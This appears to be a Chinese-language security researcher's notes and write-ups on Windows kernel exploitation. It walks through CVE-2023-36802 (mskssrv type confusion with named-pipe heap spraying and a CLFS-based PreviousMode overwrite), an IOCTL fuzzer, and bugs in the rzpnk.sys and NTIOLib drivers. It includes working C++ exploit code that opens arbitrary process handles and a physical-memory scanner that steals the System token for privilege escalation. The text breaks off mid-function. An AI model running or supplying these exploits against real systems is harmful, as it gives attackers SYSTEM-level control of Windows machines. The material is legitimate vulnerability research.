PVOID __fastcall KHHookHandler_0x2aa010(PVOID a1, PVOID a2, PVOID a3, PVOID a4, PVOID a5) {
    PBYTE _rsp = a5;
    if (a4 == NULL)return 0;

    b4 _esp = a4;
    if (PsGetCurrentProcessId() == gid) {
        b4 tag = d(_esp + 4 + 4 + 4);
        if (tag == 0x7246704E) { // memory tag NpFr 
            DbgPrint("named pipe allocation\n");
            DbgBreakPoint();
        }
    }
    return NULL;
}

从这段代码可以看到，我们实际的userbuffer前面有0x1c字节是所谓的_NP_DATA_QUEUE_ENTRY

我们再用之前的程序枚举一下，看看能不能找到这块内存

找到了：

那么现在我们就已经对0x95CC3000这块内核内存拥有了控制的能力，我们可以通过检索tag来确定我们的内存

由于我们是一直驻留在内存里面的（没有客户端去读取这块buffer，那么这个buffer就会一直停留在内核中）

正常情况下的命名管道里面的数据都是读取完就释放掉了

上面截图中的abcdedfg....这些东西就是我们可以控制的内容

但是这块内存并不是可执行的

从win8开始，non-paged pool默认是non-executable

io ring

references：

https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/

利用代码

利用代码分析

初始化context对象，FSInitializeContextRendezvous函数

通过deviceiocontrol和驱动进行交互，控制码0x2F0400

对应的处理代码在这个地方1C0008B93

这个驱动设备的iocontrol mj function是另外一个驱动，windows的ks.sys驱动

负责创建的mj 函数也是在这个驱动中，pnp设备驱动就是这个吊样

内存分配 lfh

https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap

这种小内存块的分配，通过hook exallocate函数是看不到的，这些是预先分配好的小内存块

named pipe 堆喷

https://github.com/vportal/HEVD

这里面有几张图很好的演示了这个利用过程

首先，小尺寸内存喷射，喷完之后内存布局如下

然后每隔4个句柄释放一个，释放之后的内存布局如下

之后，重新申请内存，由于lfh的特性，这些刚刚被释放的内存会再次分配给我们，当然这里的释放只是把这块内存标记为可以分配，并不会清空内存中的内容，所以你在内核调试器中看他的时候，这些被free的块很可能拥有和没有被free的块相同的内容

references：https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-36802.html

前面先分配内存再挖洞的操作，就是为了后面调用FSInitializeContextRendezvous函数的时候，分配出来的内存可以正好落到我们挖的洞里面，这样就可以使得这个函数新分配出来的对象被我们创造的内存布局所包围，我们可以在内核调试器中观察到这个现象

初始化函数对应的地址是1C0008B70

这里会分配一个context对象

最后会在1C0008CC8处存到FsContext2中

这块内存的size是78

我们前面喷的管道的buffer的size是0n128，也就是80字节，加上pool_header 10字节，一共是90字节，那我们来看一下新分配的这块内存的前90和后90字节的情况

0: kd> dqs ffff98831d6028c0-10-90-90 l2*9+2*9+2*9+2*9
ffff9883`1d602790  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602798  528eeccb`662ca5a6
ffff9883`1d6027a0  00000000`00000000
ffff9883`1d6027a8  00000000`00000000
ffff9883`1d6027b0  00000000`00000000
ffff9883`1d6027b8  00000000`00000000
ffff9883`1d6027c0  00000000`00000000
ffff9883`1d6027c8  00000000`00000000
ffff9883`1d6027d0  00000000`00000000
ffff9883`1d6027d8  00000000`00000000
ffff9883`1d6027e0  00000000`00000000
ffff9883`1d6027e8  00000000`00000000
ffff9883`1d6027f0  00000000`00000000
ffff9883`1d6027f8  ffffaa8e`549342c9     
ffff9883`1d602800  00000000`00000000
ffff9883`1d602808  00000000`00000000
ffff9883`1d602810  00000000`00000000
ffff9883`1d602818  00000000`00000000
ffff9883`1d602820  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602828  528eeccb`662caa16
ffff9883`1d602830  00000000`00000000
ffff9883`1d602838  00000000`00000000
ffff9883`1d602840  00000000`00000000
ffff9883`1d602848  00000000`00000000
ffff9883`1d602850  00000000`00000000
ffff9883`1d602858  00000000`00000000
ffff9883`1d602860  00000000`00000000
ffff9883`1d602868  00000000`00000000
ffff9883`1d602870  00000000`00000000
ffff9883`1d602878  00000000`00000000
ffff9883`1d602880  00000000`00000000
ffff9883`1d602888  ffffaa8e`549342c9
ffff9883`1d602890  00000000`00000000
ffff9883`1d602898  00000000`00000000
ffff9883`1d6028a0  00000000`00000000
ffff9883`1d6028a8  00000000`00000000
ffff9883`1d6028b0  67657243`02090000   // 新分配的context对象
ffff9883`1d6028b8  528eeccb`662caa86
ffff9883`1d6028c0  fffff800`1b883198 MSKSSRV!FSContextReg::`vftable'
ffff9883`1d6028c8  00000000`00000000
ffff9883`1d6028d0  00000000`00000000
ffff9883`1d6028d8  00000000`00000001
ffff9883`1d6028e0  ffff9883`1d6028c0
ffff9883`1d6028e8  00000000`00000001
ffff9883`1d6028f0  00000078`00000001
ffff9883`1d6028f8  ffff9883`145c2080
ffff9883`1d602900  00000000`00000000
ffff9883`1d602908  00000000`00000000
ffff9883`1d602910  00000000`00000001
ffff9883`1d602918  00000000`000007e4
ffff9883`1d602920  00000013`6fe7474d
ffff9883`1d602928  00000000`00000000
ffff9883`1d602930  00000000`00000000
ffff9883`1d602938  00000000`00000000
ffff9883`1d602940  20206f49`0a090000   // 我们喷的buffer
ffff9883`1d602948  528eeccb`662cab76
ffff9883`1d602950  00000000`00000000
ffff9883`1d602958  00000000`00000000
ffff9883`1d602960  00000000`00000000
ffff9883`1d602968  00000000`00000000
ffff9883`1d602970  00000000`00000000
ffff9883`1d602978  00000000`00000000
ffff9883`1d602980  00000000`00000000
ffff9883`1d602988  00000000`00000000
ffff9883`1d602990  00000000`00000000
ffff9883`1d602998  00000000`00000000
ffff9883`1d6029a0  00000000`00000000
ffff9883`1d6029a8  ffffaa8e`549342c9
ffff9883`1d6029b0  00000000`00000000
ffff9883`1d6029b8  00000000`00000000
ffff9883`1d6029c0  00000000`00000000
ffff9883`1d6029c8  00000000`00000000

ffff98831d6028c0是context对象的地址，-10拿到pool header地址，我们可以看到其偏移为4的dword，即pool tag，是67657243，即'Creg'

从上面的结果可以看到，context对象前面有两个我们喷的buffer，tag是20206f49，即Io，然后后面也有一个我们喷的buffer，这个新分配的context对象已经彻底被我们包围了

触发漏洞

内存布局完成之后，会触发内核的FSRendezvousServer::PublishRx函数，该函数会调用FSRendezvousServer::FindObject函数

这个函数就是漏洞函数，他本来是应该去搜索stream对象的数组的，但是你即使给他一个context对象，他也能搜出来，而且返回之后他会把context对象当做stream对象来使用，而这两个对象的长度是不一样的，前面我们已经看到context对象的长度是78，而stream对象的长度从init函数1C0008DFF 可以看出来是1b8，比context对象长多了，所以后面肯定会访问到超出context对象合法内存地址的内存

FSRendezvousServer::FindObject 函数

我们稍微看一下这个函数的代码

首先检查对象类型，context的c偏移是1，这个在前面的context的初始化我们已经看到过了

而patch之后的代码会直接检查这个地方是不是2，2表示stream对象，如果不是直接返回0

检查之后，从this中的一个保存了所有对象的链表进行搜索，搜索到就返回true，这里可以看到他把两个对象类型都搜了一下，问题就出在这个地方，这个函数并不关心你要搜索的是什么类型，反正就两种类型都给你搜一下

严格来讲，其实问题不在这个函数，而是在caller，其实caller完全可以先自己判断对象类型，如果不是stream对象，就返回错误就行了

漏洞利用

下图中的a2+8对应的汇编代码是a2+20，a2其实就是inputbuffer，可以由我们随意控制，在代码中我们控制这个地方的dword为1

这里+178，此时需要算一下我们前面的内存布局，每一块内存是90字节，context对象从内存的10处开始，+80就是下一块内存的开始，即我们喷的buffer地址-10，再+90是下一块我们喷的buffer-10，178-80-90=68

略过pool header的10字节，就是我们的buffer的58偏移，我们在代码中控制了buffer的58（0n88）偏移

是blf文件在内核中的buffer的800+2c9偏移，前面在复现clfs漏洞的时候已经介绍过相关基础知识，这里不再赘述

后续代码的分析

最后我们到达unmappages函数，而且v8是完全受我们控制的内核地址

这个函数的最后一个地方有一个往v8的20偏移写入2的操作

这个东西可以结合io ring进行利用，但是google project zero介绍了另外一种通过clfs文件来重写当前进程previos mode的方法

使用clfs

伪造完clfs文件之后，调用createlogfile，该函数最终将会调用到ClfsBaseFilePersisted::CheckSecureAccess

这个函数会在这个地方尝试获取container context

container offset数组的偏移正是328

之后他会使用这里获取到的偏移来得到context context，然后从container context中获取到一个container对象并调用它位于虚函数表+8偏移的函数

本来这个地方应该是存了container context的偏移量1460

但是我们使用前面的漏洞利用FSFrameMdl::UnmapPages中的代码，将0xFFFFB7824D0362C9-2c9+391，即ffffb7824d036391的qword置为0

而这个操作将会导致1460的60被清零，最终container context的偏移就变成了1400，此时我们就可以理解exp代码中这个1400的意思了

这里就是exp代码伪造出来的container context的样子

ffffb7826cb25000是clfs在内核中的800偏移，+70再加container context的偏移1400得到CLFS_CONTAINER_CONTEXT结构体的地址，再加18并取值得到container对象地址0000000001000000 ，这是一个用户模式的地址，完全由我们控制，取值得到虚表地址，可以看到虚表的前两个成员函数被设置为PoFxProcessorNotification和IoSizeofWorkItem函数

另外，container对象的40和48偏移也被伪造了

分别为fakeScratch和fakeBitmapHeader，这两个东西的结构如下图所示

fakeScratch

2: kd> dqs 0000000`01000f00
00000000`01000f00  00000000`00000000
00000000`01000f08  00000000`00000000
00000000`01000f10  00000000`00000000
00000000`01000f18  00000000`00000000
00000000`01000f20  00000000`00000000
00000000`01000f28  00000000`00000000
00000000`01000f30  00000000`00000000
00000000`01000f38  00000000`00000000
00000000`01000f40  00000000`00000000
00000000`01000f48  00000000`00000000
00000000`01000f50  00000000`00000000
00000000`01000f58  00000000`00000000
00000000`01000f60  00000000`00000000
00000000`01000f68  fffff801`22d39510 nt!RtlClearBit

fakeBitmapHeader

2: kd>  dqs 00000000`01000400 l2
00000000`01000400  00000000`00000040
00000000`01000408  ffffa581`1b4412b2

fakeBitmapHeader的8偏移存的正是exp进程的previousmode字段的地址

2: kd> dt _kthread previousmode
ntdll!_KTHREAD
   +0x232 PreviousMode : Char
2: kd> .thread
Implicit thread is now ffffa581`1b441080
2: kd> db /c 1 ffffa581`1b441080+232 l1
ffffa581`1b4412b2  01  .

首先在ClfsBaseFilePersisted::CheckSecureAccess函数中，第一个成员函数会被调用

成功调用到我们伪造的函数中

稍微看一下PoFxProcessorNotification函数

那么最终就会调用到rtlcleabit函数中

nt!RtlClearBit:
fffff801`22d39510 488b4108        mov     rax,qword ptr [rcx+8]
fffff801`22d39514 0fb310          btr     dword ptr [rax],edx
fffff801`22d39517 c3              ret

rcx就是fakeBitmapHeader，他的8偏移是exp进程的previousmode字段的地址，第二条指令的意思是将edx指向的bit清0，而edx是0，那么previousmode的最低位的bit就被清0了，previousmode只有一字节，最低bit原来是1，表示user mode，现在变成0了，表示kernel mode，那么我们就可以直接进行内核内存的操作了

直接操作内核地址进行提权即可

对应poc

clfs的另一套利用方案

我这一套利用方案的思路就是通过unmappages函数中的下面这两条指令

来将正常的container context的对象的地址修改为一个可以确定的值

我们创建一个log文件，获取到clfs 800偏移的地址，然后给他添加一个container，默认情况下，container context的偏移是1460，那么我们就可以计算出container对象的地址，然后通过堆喷射结合上面那两条指令对container对象的地址进行操作，最终使得container对象的地址变成200000000，然后我们直接在exp中指定这个基地址进行内存的分配，构造container对象，然后关闭log文件句柄，触发ObfDereferenceObjectWithTag函数的调用，使用这个函数给previousmode减一即可

可以看到，函数运行完成后，previousmode从0变成1

下面是操作container对象地址的过程

对应poc

IOCTL Fuzzer

2025-05-10T00:00:00+02:00

references:

https://github.com/koutto/ioctlbf

在代码中我们可以看到他是这样获取ioctl的起始和终止范围的：

beginIoctl = (DWORD)parseHex(singleIoctl) & 0xffffc000;
endIoctl = ((DWORD)parseHex(singleIoctl) & 0xffffc000) | 0x00003fff;

那他为什么这样写呢，这就和ioctl的编码方式有关了

Bits	Field	Meaning
31–16	DeviceType	Type of device
15–14	Access	Required access (read, write, etc.)
13–2	Function	Function code (custom or system)
1–0	Method	Transfer method (buffered, direct, etc)

可以看到从14bit开始就是不会变化的东西了，他们是devicetype和access，这个我们不用管，我们只用爆破低14bit即可，0xffffc000就是低14bit为0的一个值，和他进行与操作就可以把低14bit置0，就得到了起始地址，终止地址就是把低14bit置1，即0x3fff

其实这个ioctl fuzz的原理非常简单，就是确定一个起始和终止范围，然后循环测试每一个iocode，得到每一个iocode对应的input buffer的最小和最大长度，因为deviceiocontrol函数会在正常的时候返回非0值，我们只需要循环测试每一个输入buffer长度并检测返回值即可

注意

并不是所有的驱动都会在失败的时候返回0，存在一些驱动，不管在什么情况下返回的status都不为0

ioctlfuzzer会在filteralwaysok选项开启的时候过滤掉这些iocode，过滤原理就是下面这个循环

for (j = 0; j < 4 && status != 0 && cont; j++) {
                status = DeviceIoControl(deviceHandle,
                    currentIoctl,
                    &bufInput,
                    j,
                    &bufOutput,
                    j,
                    &nbBytes,
                    NULL);

                /*
                if(status == 0)
                    printf("0x%08x (size %d) -> error code %03d \n", currentIoctl, j, GetLastError());
                else
                    printf("0x%08x (size %d) -> status != 0 \n", currentIoctl, j);
                */

}
if (j == 4) {
                //printf("Skip 0x%08x\n", currentIoctl);
                continue;
}

他循环5次，这5次循环中，inputlength依次为0~5，如果5次全部都不为0，说明这个驱动在任何条件下都会返回status！=0

此时就跳过对该IOCODE的input length的测试，我在这个地方添加了一个pause指令，以便引起我的注意，我需要调试看一下，下一步会产生何种反应

另外一点就是，原版的fuzz代码会在fuzz开始前要求我们去指定一个iocode，但是我给他改成直接就从起始范围开始测，如果崩溃了，我们就去调试器分析即可

项目文件

密码是1

RZPNK.sys漏洞复现

2025-04-29T00:00:00+02:00

漏洞样本文件

参考

分析majorfunction中的create函数可知打开rzpnk.sys驱动的设备的进程名需要是razeringameengine.exe或者rzdriverinstaller.exe

create dispatch:

DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_1CC10;

sub_1CC10间接调用到函数sub_10C40，在该函数中检查进程名

满足这个条件后，随便一个普通用户就可以以READ|WRITE权限打开rzpnk的设备\\.\47CD78C9-64C3-47C2-B80F-677B887CF095

然后我们通过IDA可以看到IoControl的派遣函数列表

DriverObject->MajorFunction[0xE] = (PDRIVER_DISPATCH)sub_12650

sub_12650函数会调用函数数组中的+14h，即sub_10B40函数

靠，之前分析错驱动了

zwopenprocess

前面的当我没写

真正的漏洞驱动文件是这个

使用下面这个漏洞利用代码可以直接到达ZeOpenProcess函数，获取任意进程的句柄

#include <windows.h>
#include <iostream>

int main() {
    printf("0x%x\n", GetCurrentProcessId());
    system("pause");
    // [Get Driver Handle]
    HANDLE hDevice = CreateFileA(
        "\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "\n[!] Unable to get driver handle..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 1;
    }
    else {
        std::cout << "\n[>] Driver access OK..\n";
        std::cout << "[+] lpFileName: \\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk\n";
        std::cout << "[+] Handle: " << hDevice << "\n";
    }

    // [Prepare buffer & Send IOCTL]

    // Input buffer (PID 4 + 0)
    unsigned char InBuffer[16] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = 0x4;    // PID 4 = System
    *(reinterpret_cast<INT64*>(&InBuffer[8])) = 0x0;    // 0x0

    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        1024,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);
        return 1;
    }

    // Ptr receiving output byte count
    DWORD BytesReturned = 0;

    // 0x22a050 - ZwOpenProcess
    BOOL CallResult = DeviceIoControl(
        hDevice,
        0x22a050,
        InBuffer,
        sizeof(InBuffer),
        OutBuffer,
        1024,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        VirtualFree(OutBuffer, 0, MEM_RELEASE);
        CloseHandle(hDevice);
        return 1;
    }

    // [Read out the result buffer]
    std::cout << "\n[>] Call result:\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>(OutBuffer)) << "\n";
    std::cout << std::hex << std::uppercase
        << *(reinterpret_cast<INT64*>((reinterpret_cast<BYTE*>(OutBuffer)) + 8)) << "\n";

    // Cleanup
    VirtualFree(OutBuffer, 0, MEM_RELEASE);
    CloseHandle(hDevice);

    return 0;
}

这内核代码写的是真傻逼

如何进一步利用这个漏洞

参考

源代码

另一个洞

这个驱动好像还有一个洞，在ZwMapViewOfSection函数上面，不过看这个洞之前，需要先看一下这篇文章

这篇文章中提到的漏洞驱动文件

如上图所示，可以直接使用控制码0xC3506104映射物理内存

要想利用这个来扫描内存中的EPROCESS结构体，需要先了解一些知识

参考

windows内核中的对象的内存布局

PoolHeader的结构

那么我们扫描到Eprocess的内存Tag：Proc之后，-4就可以得到EPROCESS所在内存的起始位置

跳过PoolHeader和Object_header就可以得到EPROCESS的地址

OBJECT_HEADER->Body就是EPROCESS的内容

那么计算方式应该就是locatedAddr-4+sizeof(PoolHeader)+offset(body of object_header)就行了应该

kd> dt _object_header ffffe18d8544c0e0
nt!_OBJECT_HEADER
   +0x000 PointerCount     : 0n1
   +0x008 HandleCount      : 0n0
   +0x008 NextToFree       : (null) 
   +0x010 Lock             : _EX_PUSH_LOCK
   +0x018 TypeIndex        : 0xbc ''
   +0x019 TraceFlags       : 0 ''
   +0x019 DbgRefTrace      : 0y0
   +0x019 DbgTracePermanent : 0y0
   +0x01a InfoMask         : 0x4c 'L'
   +0x01b Flags            : 0x41 'A'
   +0x01b NewObject        : 0y1
   +0x01b KernelObject     : 0y0
   +0x01b KernelOnlyAccess : 0y0
   +0x01b ExclusiveObject  : 0y0
   +0x01b PermanentObject  : 0y0
   +0x01b DefaultSecurityQuota : 0y0
   +0x01b SingleHandleEntry : 0y1
   +0x01b DeletedInline    : 0y0
   +0x01c Reserved         : 0x273
   +0x020 ObjectCreateInfo : 0xffffe18d`81e76580 _OBJECT_CREATE_INFORMATION
   +0x020 QuotaBlockCharged : 0xffffe18d`81e76580 Void
   +0x028 SecurityDescriptor : (null) 
   +0x030 Body             : _QUAD
kd> !object ffffe18d`8544c110 
Object: ffffe18d8544c110  Type: (ffffe18d78ae1140) File
    ObjectHeader: ffffe18d8544c0e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\System32\wshbth.dll {HarddiskVolume3}
kd> dt _file_object ffffe18d`8544c110 
nt!_FILE_OBJECT
   +0x000 Type             : 0n5
   +0x002 Size             : 0n216
   +0x008 DeviceObject     : 0xffffe18d`798918f0 _DEVICE_OBJECT
   +0x010 Vpb              : 0xffffe18d`798d35b0 _VPB
   +0x018 FsContext        : (null) 
   +0x020 FsContext2       : (null) 
   +0x028 SectionObjectPointer : (null) 
   +0x030 PrivateCacheMap  : (null) 
   +0x038 FinalStatus      : 0n0
   +0x040 RelatedFileObject : (null) 
   +0x048 LockOperation    : 0 ''
   +0x049 DeletePending    : 0 ''
   +0x04a ReadAccess       : 0 ''
   +0x04b WriteAccess      : 0 ''
   +0x04c DeleteAccess     : 0 ''
   +0x04d SharedRead       : 0 ''
   +0x04e SharedWrite      : 0 ''
   +0x04f SharedDelete     : 0 ''
   +0x050 Flags            : 0x44040
   +0x058 FileName         : _UNICODE_STRING "\Windows\System32\wshbth.dll"
   +0x068 CurrentByteOffset : _LARGE_INTEGER 0x0
   +0x070 Waiters          : 0
   +0x074 Busy             : 0
   +0x078 LastLock         : (null) 
   +0x080 Lock             : _KEVENT
   +0x098 Event            : _KEVENT
   +0x0b0 CompletionContext : (null) 
   +0x0b8 IrpListLock      : 0
   +0x0c0 IrpList          : _LIST_ENTRY [ 0xffffe18d`8544c1d0 - 0xffffe18d`8544c1d0 ]
   +0x0d0 FileObjectExtension : (null)

从这张图中可以看到，实际的EPROCESS距离POOL_HEADER的差值是0x70，而我们定位到的Proc tag和EPROCESS差值就是0x70-4->0x6C

POOL_HEADER和OBJECT_HEADER之间存在OPTIONAL_HEADER，这个是可选的header，具体数量不确定，但是对于我们的EPROCESS对象，我们随便找一个进程看一下就可以确定一共有几个可选HEADER了，这个是由object_header的infomask决定的

0x88的话那就是两个可选header： OBJECT_HEADER_QUOTA_INFO和OBJECT_HEADER_PADDING_INFO

我又随便找了几个进程，infomask的值都是0x88，虽然这个地方的值都是0x88，但是有的差值是0x70，有的是0x80

System进程直接没有可选header，infomask的值直接就是0，差值是0x40，那我们就先定位System

然后再定位一个cmd（差值0x80)，然后把system的token写入到cmd中

写入内存

前面我们提到可以使用iocode 0xC3506104来读取物理内存，当需要写入的时候我们需要使用另一个iocode 0xC350A108

从上图中可以看到是往映射出来的内存中写入数据

inBuffer的0x10保存原始内存起始地址，0xc保存size，0保存目的物理地址

thisifuckingshanchubiaozhi1kdekaishi1这个傻逼洞好像根本就没有办法利用，mmmapiospace总是崩溃，或者是返回0，根本就没办法用jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

thisifuckingshanchubiaozhi1kdekaishi1这个玩意儿根本就没有办法稳定利用，因为调用mmmapiospace之前需要先锁内存页jiessdhujishu1thisifuckingshanchubiaozhi1kdekaishi1jieshu

看下面

参考

不管怎么样，我把搜索EPROCESS的代码放在这里了：

#include <windows.h>
#include <comdef.h>
#include <Wbemidl.h>
#include <iostream>
#include <unordered_map>
#include <algorithm>
#include <cstdio>
#include <cstdlib>
#include <cstdint>
#pragma comment(lib, "wbemuuid.lib")
// #define EPROCESS_IAMGE_NAME_OFFSET 0x5A8
#define SYSTEM_IMAGE_NAME_OFFSET 0x5E4 // 0x3C+0x5A8
#define CMD_IMAGE_NAME_OFFSET 0x624 // 0x7C+0x5A8
#define SYSTEM_TOKEN_OFFSET 0x4F4 // 0x3C+0x4B8
#define CMD_TOKNE_OFFSET 0x534 // 0x7C+0x4B8
#define SYSTEM_IMAGE_NAME "SYSTEM"
#define CMD_IMAGE_NAME "cmd.exe"
#define STEP 0x1000
#ifndef max
#define max(a,b)            (((a) > (b)) ? (a) : (b))
#endif
#define b8 DWORD64
#define b4 DWORD
#define b2 WORD
#define b1 UCHAR 
DWORD64 q(PBYTE a1) { return *(DWORD64*)(a1); }
DWORD d(PBYTE a1) { return *(DWORD*)(a1); }
WORD w(PBYTE a1) { return *(WORD*)(a1); }
UCHAR b(PBYTE a1) { return *(PBYTE)(a1); }
b1* GMemBuffer;
void getHardwareMappings(std::unordered_map<uint64_t, uint64_t>& hardwareMappings)
{
    if (FAILED(CoInitializeEx(0, COINIT_MULTITHREADED)))
    {
        return;
    }

    if (FAILED(CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL)))
    {
        CoUninitialize();
        return;
    }

    IWbemLocator *pLoc = NULL;
    if (FAILED(CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID *)&pLoc)))
    {
        CoUninitialize();
        return;
    }

    IWbemServices *pSvc = NULL;
    if (FAILED(pLoc->ConnectServer(_bstr_t(L"ROOT\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc)))
    {
        pLoc->Release();
        CoUninitialize();
        return;
    }

    if (FAILED(CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    IEnumWbemClassObject* pEnumerator = NULL;
    if (FAILED(pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM Win32_DeviceMemoryAddress"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator)))
    {
        pSvc->Release();
        pLoc->Release();
        CoUninitialize();
        return;
    }

    std::vector<std::pair<uint64_t, uint64_t>> ranges;
    IWbemClassObject *pclsObj = NULL;
    ULONG uReturn = 0;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn)
        {
            break;
        }

        VARIANT vtProp;
        pclsObj->Get(L"StartingAddress", 0, &vtProp, 0, 0);
        uint64_t startAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &startAddr);
        VariantClear(&vtProp);

        pclsObj->Get(L"EndingAddress", 0, &vtProp, 0, 0);
        uint64_t endAddr = 0;
        swscanf_s(vtProp.bstrVal, L"%lld", &endAddr);
        VariantClear(&vtProp);

        pclsObj->Release();
        ranges.push_back(std::pair<uint64_t, uint64_t>(startAddr, endAddr + 1));
        //printf("%0I64X %0I64X\n", startAddr, endAddr);
    }
    //insert dummy range <0xF0000000, 0xFFFFFFFF>
    ranges.push_back(std::pair<uint64_t, uint64_t>(0xF0000000LL, 0x100000000LL));

    std::sort(ranges.begin(), ranges.end());
    auto it = ranges.begin();
    std::pair<uint64_t, uint64_t> current = *(it)++;
    while (it != ranges.end())
    {
        if (current.second >= it->first)
        {
            current.second = max(current.second, it->second);
        }
        else
        {
            hardwareMappings[current.first] = current.second - current.first;
            current = *(it);
        }
        it++;
    }
    hardwareMappings[current.first] = current.second - current.first;

    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    CoUninitialize();
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value);
HANDLE getDriverHandle();
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole);

bool mapPhMem(HANDLE hDevice, b8 phStart, b4 size);
int main() {
    HANDLE hDevice = getDriverHandle();
    // Output buffer 1KB
    LPVOID OutBuffer = VirtualAlloc(
        nullptr,
        STEP,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!OutBuffer) {
        std::cout << "\n[!] Failed to allocate output buffer.\n";
        CloseHandle(hDevice);

    }
    GMemBuffer = (b1*)OutBuffer;

    std::unordered_map<uint64_t, uint64_t> mapping;
    // 枚举出来所有的设备内存范围，不然读取到这些内存地址会直接导致蓝屏
    getHardwareMappings(mapping);
    for (const auto& pair : mapping) {
        printf("0x%p -> 0x%p\n\n", pair.first, pair.second);
    }
    system("pause");
    // 然后就可以和驱动交互来读写内存了
    printf("trying to elvate my privilege\n");
    elevatePriv(hDevice,mapping);
    return 0;
} 
b8 elevatePriv(HANDLE hDev,std::unordered_map<uint64_t, uint64_t> hwHole) {

    b8 systemToken = 0;
    b8 cmdTokenPhAddr = 0;
    // 基本思想就是扫描整块物理内存，来定位系统进程的EPROCESS
    // 但是我们要调过硬件内存区域
    b8 phMemSize;
    // 获取系统上安装的物理内存的大小 单位是kb 1024bytes
    GetPhysicallyInstalledSystemMemory(&phMemSize);
    // 那么物理内存地址的最大值应该是
    // 每次读取一个内存页 4kb
    b4 step = STEP;
    for (b8 i = 0; i < phMemSize * 1024; i += step) {
        // 跳过硬件范围
        auto it = hwHole.find(i);
        if (it != hwHole.end())
            i += it->second;
        if (!mapPhMem(hDev, i, step)) {
            printf("read physical mem failed\n");
            continue;
        }
        printf("start addr: 0x%p\n", i);
        // 读取内存
        // GMemBuffer
        // 这里涉及了一些关于windows内存的知识
        printf("mem succeed\n");
        // EPROCESS所在的内存中有一个tag，就是Proc，翻译成b4就是    636F7250
        for (b4 j=0;j< STEP -4;j++) {
            // 这里需要注意，如果j+4已经超过了0x1000，就要终止循环了
            if (*(b4*)(GMemBuffer + j) == 0x636F7250) {
                printf("located eprocess mem region\n");

                if (!strcmp((char*)(GMemBuffer + j + SYSTEM_IMAGE_NAME_OFFSET), SYSTEM_IMAGE_NAME)) {
                    systemToken = *(b8*)(GMemBuffer + j + SYSTEM_TOKEN_OFFSET);
                    printf("system token get: 0x%p\n", systemToken);
                    if(cmdTokenPhAddr) 
                        goto END;
                }
                else if (!strcmp((char*)(GMemBuffer + j + CMD_IMAGE_NAME_OFFSET), CMD_IMAGE_NAME)) {
                    // 记住物理内存地址
                    cmdTokenPhAddr = i;
                    printf("cmd.exe token physical address get: 0x%p\n", i);
                    if (systemToken)
                        goto END;
                }
            }
        }
    }
END:
    // TODO
    // 这里需要进行写入
    writePhMem(hDev, cmdTokenPhAddr, systemToken);
    return 0;
}
bool writePhMem(HANDLE hDevice, b8 destPhAddr, b8 b8Value) {
    unsigned char InBuffer[0x18] = { 0 };
    *(reinterpret_cast<INT64*>(&InBuffer[0])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0x10])) = destPhAddr;
    *(reinterpret_cast<INT64*>(&InBuffer[0xc])) = 8;



    // Ptr receiving output byte count
    DWORD BytesReturned = 0;


    BOOL CallResult = DeviceIoControl(
        hDevice,
        0xC3506104,
        InBuffer,
        sizeof(InBuffer), 
        GMemBuffer, // outbuffer随便填，因为根本就用不到
        8,
        &BytesReturned,
        nullptr
    );

    if (!CallResult) {
        std::cout << "\n[!] DeviceIoControl failed..\n";
        printf("error code: 0x%x\n", GetLastError());
        return 0;
        CloseHandle(hDevice);

    }
    return 1;
}
HANDLE getDriverHandle() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\NTIOLib_ACTIVE_X",
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        nullptr
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
